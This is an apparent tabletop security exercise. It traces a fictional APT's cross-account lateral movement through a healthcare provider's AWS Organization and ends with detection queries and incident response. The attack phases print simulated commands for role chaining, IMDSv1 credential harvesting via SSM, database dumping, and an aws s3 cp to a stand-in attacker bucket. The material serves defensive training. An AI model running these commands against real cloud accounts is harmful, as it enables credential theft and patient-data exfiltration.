SC-093: Cloud Lateral Movement — Operation CLOUD WALKER¶
Scenario Overview¶
| Field | Detail |
|---|---|
| ID | SC-093 |
| Category | Cloud Security / Lateral Movement / Multi-Account |
| Severity | Critical |
| ATT&CK Tactics | Lateral Movement, Credential Access, Discovery, Persistence |
| ATT&CK Techniques | T1078.004 (Valid Accounts: Cloud Accounts), T1021 (Remote Services), T1552.005 (Unsecured Credentials: Cloud Instance Metadata API), T1580 (Cloud Infrastructure Discovery) |
| Target Environment | Multi-account AWS Organization with 14 accounts across development, staging, and production environments for a healthcare SaaS provider with 3,200 employees |
| Difficulty | ★★★★★ |
| Duration | 3–4 hours |
| Estimated Impact | 6 AWS accounts compromised via cross-account role chaining; 3 production databases accessed via SSM session hijack; patient health records (synthetic) exfiltrated from S3; 14-hour dwell time; full remediation requiring IAM policy audit across entire AWS Organization |
Narrative¶
MedVault Systems, a fictional healthcare SaaS provider headquartered at medvault.example.com, operates a 14-account AWS Organization supporting their electronic health records platform. The organization processes synthetic patient data for 2.8 million records across HIPAA-regulated workloads. Their AWS architecture follows a hub-and-spoke model with a central networking account, shared services account, and dedicated accounts for dev, staging, and three production regions.
The cloud engineering team has implemented AWS Organizations with Service Control Policies (SCPs), AWS SSO (IAM Identity Center) for workforce access, and CloudTrail logging to a centralized S3 bucket. However, several legacy cross-account IAM roles created during the initial cloud migration remain with overly permissive trust policies — a common finding in organizations that have grown their cloud footprint organically.
In April 2026, a threat actor group designated NIMBUS PHANTOM — a cloud-focused APT specializing in multi-cloud lateral movement and data exfiltration — compromises an AWS access key from a developer's laptop and initiates a sophisticated cross-account pivot campaign. The attack exploits misconfigured cross-account roles, abuses the EC2 Instance Metadata Service (IMDS), hijacks active SSM sessions, and pivots through VPC peering connections to reach production databases.
Attack Flow¶
graph TD
A[Phase 1: Initial Access<br/>Compromised developer IAM key] --> B[Phase 2: Cloud Discovery<br/>Enumerate accounts, roles, VPC topology]
B --> C[Phase 3: Cross-Account Role Assumption<br/>Chain through overly permissive roles]
C --> D[Phase 4: Metadata Service Abuse<br/>Harvest EC2 instance credentials via IMDSv1]
D --> E[Phase 5: SSM Session Hijack<br/>Abuse Systems Manager for lateral movement]
E --> F[Phase 6: VPC Peering Pivot<br/>Traverse peering connections to production]
F --> G[Phase 7: Data Exfiltration<br/>S3 bucket access and database dumps]
G --> H[Phase 8: Detection & Response<br/>CloudTrail anomaly detection + remediation] Phase Details¶
Phase 1: Initial Access — Compromised Developer Credentials¶
ATT&CK Technique: T1078.004 (Valid Accounts: Cloud Accounts)
NIMBUS PHANTOM obtains a long-lived AWS access key pair from a developer's workstation via a compromised npm package in the developer's local environment. The access key belongs to an IAM user in the development account (account ID: 111122223333) with permissions intended for CI/CD pipeline operations.
# Simulated initial access (educational only)
# Attacker discovers AWS credentials in compromised developer environment
# Compromised credentials (synthetic):
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=REDACTED
AWS_DEFAULT_REGION=us-east-1
# Attacker validates the credentials
$ aws sts get-caller-identity
{
"UserId": "AIDACKCEVSQ6C2EXAMPLE",
"Account": "111122223333",
"Arn": "arn:aws:iam::111122223333:user/dev-pipeline-user"
}
# Enumerate IAM user permissions
$ aws iam list-attached-user-policies --user-name dev-pipeline-user
{
"AttachedPolicies": [
{
"PolicyName": "DevPipelineAccess",
"PolicyArn": "arn:aws:iam::111122223333:policy/DevPipelineAccess"
}
]
}
# Key permissions discovered:
# - sts:AssumeRole (cross-account)
# - ec2:Describe* (all)
# - ssm:StartSession, ssm:SendCommand
# - s3:GetObject, s3:ListBucket (dev buckets)
# - iam:ListRoles, iam:GetRole
#
# The sts:AssumeRole permission with wildcard resource
# is the critical misconfiguration enabling lateral movement
Phase 2: Cloud Infrastructure Discovery¶
ATT&CK Technique: T1580 (Cloud Infrastructure Discovery)
NIMBUS PHANTOM systematically enumerates the AWS Organization structure, cross-account roles, VPC peering connections, and available compute resources. This discovery phase maps the complete attack surface across all accessible accounts.
# Simulated cloud discovery (educational only)
# Attacker enumerates AWS Organization structure and cross-account roles
# Enumerate AWS Organization accounts
$ aws organizations list-accounts --query 'Accounts[].{Id:Id,Name:Name,Status:Status}'
[
{"Id": "111122223333", "Name": "medvault-dev", "Status": "ACTIVE"},
{"Id": "222233334444", "Name": "medvault-staging", "Status": "ACTIVE"},
{"Id": "333344445555", "Name": "medvault-prod-us-east", "Status": "ACTIVE"},
{"Id": "444455556666", "Name": "medvault-prod-us-west", "Status": "ACTIVE"},
{"Id": "555566667777", "Name": "medvault-prod-eu", "Status": "ACTIVE"},
{"Id": "666677778888", "Name": "medvault-shared-services", "Status": "ACTIVE"},
{"Id": "777788889999", "Name": "medvault-networking", "Status": "ACTIVE"},
{"Id": "888899990000", "Name": "medvault-security", "Status": "ACTIVE"}
]
# Enumerate IAM roles in the dev account for cross-account trust
$ aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument | to_string(@), `sts:AssumeRole`)].[RoleName,Arn]'
# Key roles discovered:
# - CrossAccountDeployRole (trusts: 111122223333, 222233334444)
# - SharedServicesAccessRole (trusts: * within Organization)
# - LegacyMigrationRole (trusts: * — NO CONDITION!)
#
# LegacyMigrationRole has an overly permissive trust policy:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": "sts:AssumeRole",
"Condition": {}
}]
}
# CRITICAL FINDING: This role trusts ANY AWS principal
# It was created during the 2023 migration and never cleaned up
# Enumerate VPC peering connections
$ aws ec2 describe-vpc-peering-connections \
--query 'VpcPeeringConnections[].{
Id:VpcPeeringConnectionId,
Requester:RequesterVpcInfo.{Account:OwnerId,VpcId:VpcId,Cidr:CidrBlock},
Accepter:AccepterVpcInfo.{Account:OwnerId,VpcId:VpcId,Cidr:CidrBlock},
Status:Status.Code}'
[
{
"Id": "pcx-0a1b2c3d4e5f67890",
"Requester": {"Account": "111122223333", "VpcId": "vpc-dev001", "Cidr": "10.1.0.0/16"},
"Accepter": {"Account": "666677778888", "VpcId": "vpc-shared001", "Cidr": "10.10.0.0/16"},
"Status": "active"
},
{
"Id": "pcx-1b2c3d4e5f678901a",
"Requester": {"Account": "666677778888", "VpcId": "vpc-shared001", "Cidr": "10.10.0.0/16"},
"Accepter": {"Account": "333344445555", "VpcId": "vpc-prod-east001", "Cidr": "10.20.0.0/16"},
"Status": "active"
}
]
# Attack path: dev → shared-services → prod-us-east via VPC peering chain
Phase 3: Cross-Account Role Assumption Chain¶
ATT&CK Technique: T1078.004 (Valid Accounts: Cloud Accounts)
NIMBUS PHANTOM chains cross-account role assumptions to escalate from the development account into the shared services account and ultimately into production. The attacker exploits the legacy migration role's overly permissive trust policy to pivot between accounts without requiring additional credentials.
# Simulated cross-account role chaining (educational only)
# Attacker pivots from dev to shared-services to production
# Step 1: Assume the LegacyMigrationRole in shared-services account
$ aws sts assume-role \
--role-arn "arn:aws:iam::666677778888:role/LegacyMigrationRole" \
--role-session-name "dev-pipeline-session" \
--duration-seconds 3600
{
"Credentials": {
"AccessKeyId": "ASIAWXYZ1234EXAMPLE",
"SecretAccessKey": "REDACTED",
"SessionToken": "REDACTED",
"Expiration": "2026-04-01T11:30:00Z"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAWXYZ5678EXAMPLE:dev-pipeline-session",
"Arn": "arn:aws:sts::666677778888:assumed-role/LegacyMigrationRole/dev-pipeline-session"
}
}
# Step 2: From shared-services, discover roles in production accounts
$ export AWS_ACCESS_KEY_ID=ASIAWXYZ1234EXAMPLE
$ export AWS_SECRET_ACCESS_KEY=REDACTED
$ export AWS_SESSION_TOKEN=REDACTED
$ aws iam list-roles --query 'Roles[?contains(RoleName, `Deploy`) || contains(RoleName, `Admin`)].[RoleName,Arn]'
# Found: SharedServicesDeployRole in prod account with trust to shared-services
# arn:aws:iam::333344445555:role/SharedServicesDeployRole
# Step 3: Chain to production account
$ aws sts assume-role \
--role-arn "arn:aws:iam::333344445555:role/SharedServicesDeployRole" \
--role-session-name "shared-deploy-session"
{
"Credentials": {
"AccessKeyId": "ASIAABCD9012EXAMPLE",
"SecretAccessKey": "REDACTED",
"SessionToken": "REDACTED",
"Expiration": "2026-04-01T12:00:00Z"
},
"AssumedRoleUser": {
"Arn": "arn:aws:sts::333344445555:assumed-role/SharedServicesDeployRole/shared-deploy-session"
}
}
# Attack chain complete: dev (111122223333) → shared-services (666677778888)
# → prod-us-east (333344445555)
# Total role assumptions: 2
# Each assumption generates a CloudTrail AssumeRole event
# but the session names mimic legitimate pipeline naming conventions
Phase 4: Metadata Service Abuse (IMDSv1)¶
ATT&CK Technique: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
From the production account, NIMBUS PHANTOM identifies EC2 instances still using IMDSv1 (the non-token-based metadata service). The attacker uses SSM RunCommand to query the instance metadata service and harvest IAM role credentials attached to EC2 instances, gaining access to roles with broader permissions than the deployment role.
# Simulated IMDS abuse (educational only)
# Attacker harvests instance role credentials via IMDSv1
# Enumerate EC2 instances in production account
$ aws ec2 describe-instances \
--filters "Name=instance-state-name,Values=running" \
--query 'Reservations[].Instances[].{
Id:InstanceId,
Type:InstanceType,
Role:IamInstanceProfile.Arn,
IMDS:MetadataOptions.HttpTokens,
IP:PrivateIpAddress}'
[
{
"Id": "i-0abc123def456789a",
"Type": "m5.2xlarge",
"Role": "arn:aws:iam::333344445555:instance-profile/ProdAppServerRole",
"IMDS": "optional",
"IP": "10.20.1.50"
},
{
"Id": "i-0def789abc123456b",
"Type": "r5.xlarge",
"Role": "arn:aws:iam::333344445555:instance-profile/ProdDatabaseProxyRole",
"IMDS": "optional",
"IP": "10.20.2.100"
},
{
"Id": "i-0ghi012jkl345678c",
"Type": "t3.large",
"Role": "arn:aws:iam::333344445555:instance-profile/ProdBastionRole",
"IMDS": "required",
"IP": "10.20.0.10"
}
]
# Two instances have IMDS "optional" — meaning IMDSv1 is available
# The bastion host uses IMDSv2 (required) — properly configured
# Use SSM to query IMDSv1 on the database proxy instance
$ aws ssm send-command \
--instance-ids "i-0def789abc123456b" \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ProdDatabaseProxyRole"]'
# Simulated response from metadata service:
{
"Code": "Success",
"LastUpdated": "2026-04-01T10:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAMNOP3456EXAMPLE",
"SecretAccessKey": "REDACTED",
"Token": "REDACTED",
"Expiration": "2026-04-01T16:30:00Z"
}
# ProdDatabaseProxyRole permissions (discovered via enumeration):
# - rds:Connect (to production Aurora clusters)
# - s3:GetObject, s3:PutObject (medvault-prod-data-* buckets)
# - secretsmanager:GetSecretValue (database connection strings)
# - kms:Decrypt (production KMS keys)
#
# The attacker now has database-level access via the instance role
Phase 5: SSM Session Hijack¶
ATT&CK Technique: T1021 (Remote Services)
NIMBUS PHANTOM leverages AWS Systems Manager Session Manager to establish interactive sessions on production EC2 instances. SSM sessions bypass traditional network security controls (security groups, NACLs) because they use the SSM agent's outbound HTTPS connection to the SSM service endpoint. The attacker uses these sessions to access internal services not exposed to the internet.
# Simulated SSM session hijack (educational only)
# Attacker establishes interactive sessions on production instances
# List active SSM sessions (check for existing admin sessions)
$ aws ssm describe-sessions --state "Active" \
--query 'Sessions[].{Id:SessionId,Target:Target,Owner:Owner,Start:StartDate}'
[
{
"Id": "session-0a1b2c3d4EXAMPLE",
"Target": "i-0abc123def456789a",
"Owner": "arn:aws:iam::333344445555:user/sre-oncall",
"Start": "2026-04-01T08:45:00Z"
}
]
# An SRE engineer has an active session — attacker notes the session pattern
# Start a new SSM session to the database proxy instance
$ aws ssm start-session \
--target "i-0def789abc123456b" \
--document-name "AWS-StartInteractiveCommand" \
--parameters '{"command":["bash"]}'
# Inside the SSM session on i-0def789abc123456b (10.20.2.100):
# The instance has network access to the Aurora cluster via VPC routing
# Discover database connection details from Secrets Manager
$ aws secretsmanager get-secret-value \
--secret-id "prod/aurora/medvault-primary" \
--query 'SecretString' --output text
{
"host": "medvault-primary.cluster-abc123.us-east-1.rds.example.com",
"port": 3306,
"username": "app_readonly",
"password": "REDACTED",
"dbname": "medvault_ehr"
}
# The attacker can now connect to the production Aurora cluster
# from within the VPC using the retrieved credentials
# Network path: SSM session → EC2 instance (10.20.2.100) → Aurora (10.20.3.50)
# Enumerate database tables (simulated output)
$ mysql -h medvault-primary.cluster-abc123.us-east-1.rds.example.com \
-u app_readonly -p'REDACTED' -e "SHOW TABLES FROM medvault_ehr;"
+---------------------------+
| Tables_in_medvault_ehr |
+---------------------------+
| patient_records |
| provider_notes |
| billing_transactions |
| insurance_claims |
| audit_log |
| user_sessions |
+---------------------------+
Phase 6: VPC Peering Pivot¶
ATT&CK Technique: T1021 (Remote Services)
From the compromised production instance, NIMBUS PHANTOM discovers that VPC peering connections enable network-level access to additional production accounts. The attacker scans the peered VPC CIDR ranges to identify additional services and pivots through the peering connections to access resources in other production environments.
# Simulated VPC peering pivot (educational only)
# Attacker uses VPC peering to reach additional production environments
# From inside the compromised EC2 instance (10.20.2.100)
# Discover routes to peered VPCs
$ ip route show
default via 10.20.0.1 dev eth0
10.20.0.0/16 dev eth0 proto kernel scope link src 10.20.2.100
10.30.0.0/16 via 10.20.0.1 dev eth0 # VPC peering to prod-us-west
10.40.0.0/16 via 10.20.0.1 dev eth0 # VPC peering to prod-eu
# Scan for services on the peered VPC (prod-us-west)
# Using internal service discovery via DNS
$ dig +short _postgres._tcp.medvault-west.example.com SRV
10 0 5432 db-west-primary.medvault.example.com
$ dig +short db-west-primary.medvault.example.com
10.30.3.50
# The database in the us-west production account is reachable
# via VPC peering from the us-east compromised instance
# Test connectivity to the us-west database
$ nc -zv 10.30.3.50 5432
Connection to 10.30.3.50 5432 port [tcp/postgresql] succeeded!
# The security group on the us-west database allows port 5432
# from the peered VPC CIDR (10.20.0.0/16)
# This is a common misconfiguration — peering opens broad network access
# without per-instance security group restrictions
# Attacker now has network path to databases in 3 production accounts:
# prod-us-east (10.20.0.0/16) — direct access
# prod-us-west (10.30.0.0/16) — via VPC peering
# prod-eu (10.40.0.0/16) — via VPC peering
Phase 7: Data Exfiltration¶
ATT&CK Technique: T1078.004 (Valid Accounts: Cloud Accounts)
NIMBUS PHANTOM exfiltrates data through two channels: direct S3 bucket access using the harvested instance role credentials, and database query results staged to an attacker-controlled S3 bucket via a cross-account PutObject request. The attacker uses legitimate AWS APIs to blend exfiltration traffic with normal application behavior.
# Simulated data exfiltration (educational only)
# Attacker exfiltrates data via S3 and database dumps
# Channel 1: Direct S3 access using ProdDatabaseProxyRole credentials
$ aws s3 ls s3://medvault-prod-data-us-east/
PRE patient-exports/
PRE billing-reports/
PRE compliance-audits/
PRE backup-snapshots/
# List patient export files (synthetic data)
$ aws s3 ls s3://medvault-prod-data-us-east/patient-exports/ --recursive \
| head -5
2026-03-28 14:22:00 128MB patient-export-2026-Q1-batch001.csv.enc
2026-03-29 09:15:00 156MB patient-export-2026-Q1-batch002.csv.enc
2026-03-30 11:30:00 98MB patient-export-2026-Q1-batch003.csv.enc
2026-03-31 16:45:00 142MB patient-export-2026-Q1-batch004.csv.enc
2026-04-01 08:00:00 134MB patient-export-2026-Q1-batch005.csv.enc
# Files are encrypted with KMS — but the instance role has kms:Decrypt
$ aws s3 cp s3://medvault-prod-data-us-east/patient-exports/patient-export-2026-Q1-batch001.csv.enc /tmp/
# Channel 2: Database dump staged to attacker-controlled bucket
# The attacker creates a database export and uploads it
$ mysqldump -h medvault-primary.cluster-abc123.us-east-1.rds.example.com \
-u app_readonly -p'REDACTED' medvault_ehr patient_records \
--where="created_at > '2026-01-01'" \
| gzip > /tmp/patient_records_q1_2026.sql.gz
# Upload to attacker-controlled S3 bucket (different account)
$ aws s3 cp /tmp/patient_records_q1_2026.sql.gz \
s3://exfil-bucket-203-0-113.example.com/medvault/ \
--region us-east-1
# Exfiltration summary (synthetic):
# S3 objects downloaded: 5 encrypted patient export files (658 MB)
# Database records dumped: ~280,000 synthetic patient records
# Data volume: ~1.8 GB total
# Exfil channels: S3 GetObject (blends with app traffic) +
# S3 PutObject to external bucket
# Encryption: KMS-encrypted files decrypted using instance role
# Duration: 3.5 hours of low-rate exfiltration
Phase 8: Detection & Response¶
The attack is detected through multiple monitoring channels:
Channel 1 (T+6 hours): CloudTrail Anomaly — Unusual AssumeRole activity detected: the dev-pipeline-user IAM user assumes roles in accounts it has never previously accessed. The cross-account role assumption pattern deviates from the 90-day baseline of this principal's behavior.
Channel 2 (T+10 hours): GuardDuty Finding — UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS alert triggers when instance credentials from i-0def789abc123456b are used from an IP address outside the expected VPC CIDR range.
Channel 3 (T+12 hours): S3 Access Anomaly — CloudWatch alarm fires when S3 GetObject requests for the patient-exports prefix exceed the 95th percentile threshold. The data volume downloaded in a 3-hour window exceeds normal application access patterns.
# Simulated detection timeline (educational only)
[2026-04-01 16:00:00 UTC] CLOUDTRAIL ANOMALY — UNUSUAL ASSUMEROLE PATTERN
Alert: CROSS_ACCOUNT_ROLE_ASSUMPTION_ANOMALY
Details:
- Principal: arn:aws:iam::111122223333:user/dev-pipeline-user
- Assumed role: LegacyMigrationRole in 666677778888 (NEVER SEEN BEFORE)
- Chained to: SharedServicesDeployRole in 333344445555
- Source IP: 203.0.113.22 (not in known CI/CD ranges)
- User agent: aws-cli/2.15.0
- Baseline: This principal only assumes roles in 111122223333
Severity: HIGH
Action: SOC investigation initiated
[2026-04-01 20:00:00 UTC] GUARDDUTY — INSTANCE CREDENTIAL EXFILTRATION
Alert: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS
Details:
- Instance: i-0def789abc123456b (ProdDatabaseProxyRole)
- Credential usage from: 203.0.113.22
- Expected usage: within VPC 10.20.0.0/16
- API calls: s3:GetObject, secretsmanager:GetSecretValue
- Finding severity: HIGH
Action: Instance isolated, role credentials rotated
[2026-04-01 22:00:00 UTC] CLOUDWATCH — S3 DATA EXFILTRATION ALARM
Alert: S3_EXCESSIVE_GET_OBJECT_VOLUME
Details:
- Bucket: medvault-prod-data-us-east
- Prefix: patient-exports/
- GetObject calls: 47 in 3 hours (baseline: 5/day)
- Data downloaded: 658 MB (baseline: <50 MB/day)
- Principal: ProdDatabaseProxyRole
- Source IP: 10.20.2.100 (compromised instance)
Severity: CRITICAL
Action: Bucket policy updated to deny access from compromised role
Detection Queries:
// KQL — Detect unusual cross-account role assumption patterns
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName == "AssumeRole"
| extend AssumedRoleArn = tostring(parse_json(RequestParameters).roleArn)
| extend AssumedAccount = extract(@":(\d{12}):", 1, AssumedRoleArn)
| extend SourceAccount = tostring(RecipientAccountId)
| extend SourcePrincipal = tostring(UserIdentityArn)
| where AssumedAccount != SourceAccount
| summarize AssumedAccounts = make_set(AssumedAccount),
AccountCount = dcount(AssumedAccount),
RolesAssumed = make_set(AssumedRoleArn),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by SourcePrincipal, SourceIPAddress
| where AccountCount > 2
| project SourcePrincipal, SourceIPAddress, AccountCount,
AssumedAccounts, RolesAssumed, FirstSeen, LastSeen
// KQL — Detect IMDS credential harvesting via SSM
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName == "SendCommand"
| extend CommandDoc = tostring(parse_json(RequestParameters).documentName)
| extend InstanceId = tostring(parse_json(RequestParameters).instanceIds[0])
| extend CommandParams = tostring(parse_json(RequestParameters).parameters)
| where CommandParams has "169.254.169.254" or CommandParams has "meta-data"
| project TimeGenerated, UserIdentityArn, InstanceId, CommandDoc,
CommandParams, SourceIPAddress
// KQL — Detect cross-account S3 data exfiltration
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName in ("GetObject", "PutObject")
| extend BucketName = tostring(parse_json(RequestParameters).bucketName)
| extend KeyPrefix = extract(@"^([^/]+)", 1, tostring(parse_json(RequestParameters).key))
| extend BytesTransferred = toint(parse_json(ResponseElements).bytesTransferred)
| summarize TotalBytes = sum(BytesTransferred),
ObjectCount = count(),
Keys = make_set(tostring(parse_json(RequestParameters).key))
by BucketName, UserIdentityArn, bin(TimeGenerated, 1h)
| where TotalBytes > 100000000 or ObjectCount > 20
| project TimeGenerated, BucketName, UserIdentityArn, ObjectCount,
TotalBytes_MB = TotalBytes / 1048576
// KQL — Detect VPC peering reconnaissance from SSM sessions
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName in ("DescribeVpcPeeringConnections", "DescribeRouteTables",
"DescribeSecurityGroups", "DescribeSubnets")
| extend SessionArn = tostring(UserIdentityArn)
| where SessionArn has "assumed-role"
| summarize DiscoveryCalls = count(),
EventNames = make_set(EventName),
FirstCall = min(TimeGenerated)
by SessionArn, SourceIPAddress, bin(TimeGenerated, 30m)
| where DiscoveryCalls > 10
| project SessionArn, SourceIPAddress, DiscoveryCalls, EventNames, FirstCall
# SPL — Detect unusual cross-account role assumption patterns
index=aws sourcetype=aws:cloudtrail eventName=AssumeRole
| spath output=assumed_role_arn path=requestParameters.roleArn
| rex field=assumed_role_arn ":(?<assumed_account>\d{12}):"
| rename recipientAccountId as source_account,
userIdentity.arn as source_principal
| where assumed_account != source_account
| stats dc(assumed_account) as account_count,
values(assumed_account) as assumed_accounts,
values(assumed_role_arn) as roles_assumed,
min(_time) as first_seen,
max(_time) as last_seen
by source_principal, sourceIPAddress
| where account_count > 2
| table source_principal, sourceIPAddress, account_count,
assumed_accounts, roles_assumed, first_seen, last_seen
# SPL — Detect IMDS credential harvesting via SSM
index=aws sourcetype=aws:cloudtrail eventName=SendCommand
| spath output=command_doc path=requestParameters.documentName
| spath output=instance_id path=requestParameters.instanceIds{}
| spath output=command_params path=requestParameters.parameters
| where match(command_params, "169\.254\.169\.254|meta-data")
| table _time, userIdentity.arn, instance_id, command_doc,
command_params, sourceIPAddress
# SPL — Detect cross-account S3 data exfiltration
index=aws sourcetype=aws:cloudtrail eventName IN ("GetObject", "PutObject")
| spath output=bucket_name path=requestParameters.bucketName
| spath output=object_key path=requestParameters.key
| spath output=bytes_transferred path=responseElements.bytesTransferred
| bin _time span=1h
| stats sum(bytes_transferred) as total_bytes,
count as object_count,
values(object_key) as keys
by bucket_name, userIdentity.arn, _time
| where total_bytes > 100000000 OR object_count > 20
| eval total_mb = round(total_bytes / 1048576, 2)
| table _time, bucket_name, userIdentity.arn, object_count, total_mb
# SPL — Detect VPC peering reconnaissance from SSM sessions
index=aws sourcetype=aws:cloudtrail
eventName IN ("DescribeVpcPeeringConnections", "DescribeRouteTables",
"DescribeSecurityGroups", "DescribeSubnets")
| rename userIdentity.arn as session_arn
| where match(session_arn, "assumed-role")
| bin _time span=30m
| stats count as discovery_calls,
values(eventName) as event_names,
min(_time) as first_call
by session_arn, sourceIPAddress, _time
| where discovery_calls > 10
| table session_arn, sourceIPAddress, discovery_calls, event_names, first_call
Incident Response:
# Simulated incident response (educational only)
[2026-04-01 22:30:00 UTC] ALERT: Cloud Lateral Movement incident response activated
[2026-04-01 22:35:00 UTC] ACTION: Disable compromised credentials
- IAM access key for dev-pipeline-user DISABLED
- LegacyMigrationRole BLOCKED with explicit deny SCP
- SharedServicesDeployRole trust policy UPDATED to remove wildcards
- All active STS sessions from compromised principals REVOKED
[2026-04-01 23:00:00 UTC] ACTION: Isolate compromised EC2 instances
- Instance i-0def789abc123456b ISOLATED (security group: deny all)
- Instance i-0abc123def456789a ISOLATED (security group: deny all)
- Instance role credentials ROTATED for all affected instances
- SSM sessions from compromised instances TERMINATED
[2026-04-01 23:30:00 UTC] ACTION: Enforce IMDSv2 across Organization
- SCP deployed: ec2:MetadataHttpTokens must be "required"
- All running instances with IMDSv1 IDENTIFIED (47 instances)
- Emergency change: migrate all instances to IMDSv2-only
[2026-04-02 00:00:00 UTC] ACTION: Database credential rotation
- All RDS/Aurora master passwords ROTATED
- All Secrets Manager secrets for database connections ROTATED
- Application connection strings UPDATED via deployment pipeline
- Database audit logs reviewed for unauthorized queries
[2026-04-02 01:00:00 UTC] ACTION: Impact assessment
Accounts compromised: 6 of 14 (dev, shared-services, 3x prod, networking)
Roles abused: 4 cross-account roles
EC2 instances compromised: 2 (via SSM)
Databases accessed: 3 Aurora clusters (us-east, us-west, eu)
Data exfiltrated: ~1.8 GB (patient exports + database dump)
Records exposed: ~280,000 synthetic patient records
Dwell time: 14 hours (initial access to detection)
Root cause: Overly permissive cross-account IAM role trust policy
Contributing factors: IMDSv1 enabled, VPC peering without segmentation
Decision Points (Tabletop Exercise)¶
Decision Point 1 — Cross-Account Governance
Your AWS Organization has 14 accounts with cross-account roles created by multiple teams over 3 years. How do you inventory and audit all cross-account trust relationships? What tooling and processes would prevent overly permissive trust policies from being created in the future?
Decision Point 2 — Instance Metadata Security
You discover 47 EC2 instances still using IMDSv1. Some run legacy applications that may not support IMDSv2. How do you prioritize the migration to IMDSv2-only while minimizing application disruption? What monitoring do you implement during the transition?
Decision Point 3 — VPC Peering Segmentation
VPC peering connections provide broad network access between accounts. How do you implement microsegmentation within peered VPCs to limit lateral movement? What alternative connectivity models (Transit Gateway, PrivateLink) would reduce the blast radius?
Decision Point 4 — Data Exfiltration Prevention
The attacker exfiltrated data using legitimate S3 API calls. How do you distinguish malicious data access from legitimate application usage? What combination of S3 access logging, VPC endpoints with policies, and data loss prevention controls would detect or prevent this exfiltration?
Lessons Learned¶
Key Takeaways
-
Cross-account role trust policies are a critical attack surface — Legacy IAM roles with overly permissive trust policies (Principal: "*") enable any AWS principal to assume the role. Regular auditing of cross-account trust relationships using IAM Access Analyzer is essential to identify and remediate these misconfigurations.
-
IMDSv1 enables credential theft from EC2 instances — The token-less IMDSv1 allows any process on the instance to retrieve IAM role credentials with a simple HTTP GET request. Enforcing IMDSv2 (HttpTokens: required) via Service Control Policies prevents this attack vector organization-wide.
-
SSM Session Manager bypasses network security controls — SSM sessions use the instance's outbound HTTPS connection, bypassing security groups, NACLs, and network firewalls. Organizations must monitor SSM session activity via CloudTrail and implement IAM policies to restrict SSM access to authorized users and instances.
-
VPC peering creates implicit trust boundaries — Peering connections provide broad network access between VPCs without granular segmentation. Security groups must be configured to allow only specific application-to-application flows, and organizations should consider Transit Gateway with route table segmentation for multi-account architectures.
-
Role chaining creates detection blind spots — When an attacker chains multiple role assumptions, each hop generates a separate CloudTrail event. Correlating these events across accounts requires centralized logging and detection rules that track the full chain of trust from initial principal to final action.
-
Data exfiltration using legitimate APIs blends with normal traffic — The attacker used standard S3 GetObject calls that match normal application behavior. Detection requires baseline analysis of data access patterns per principal, with alerts on volume anomalies and access to sensitive prefixes from unexpected roles.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Phase |
|---|---|---|
| T1078.004 | Valid Accounts: Cloud Accounts | Initial Access (compromised IAM key) |
| T1580 | Cloud Infrastructure Discovery | Discovery (Organization, VPC, role enumeration) |
| T1078.004 | Valid Accounts: Cloud Accounts | Lateral Movement (cross-account role chaining) |
| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | Credential Access (IMDSv1 abuse) |
| T1021 | Remote Services | Lateral Movement (SSM session + VPC peering pivot) |
| T1537 | Transfer Data to Cloud Account | Exfiltration (S3 cross-account upload) |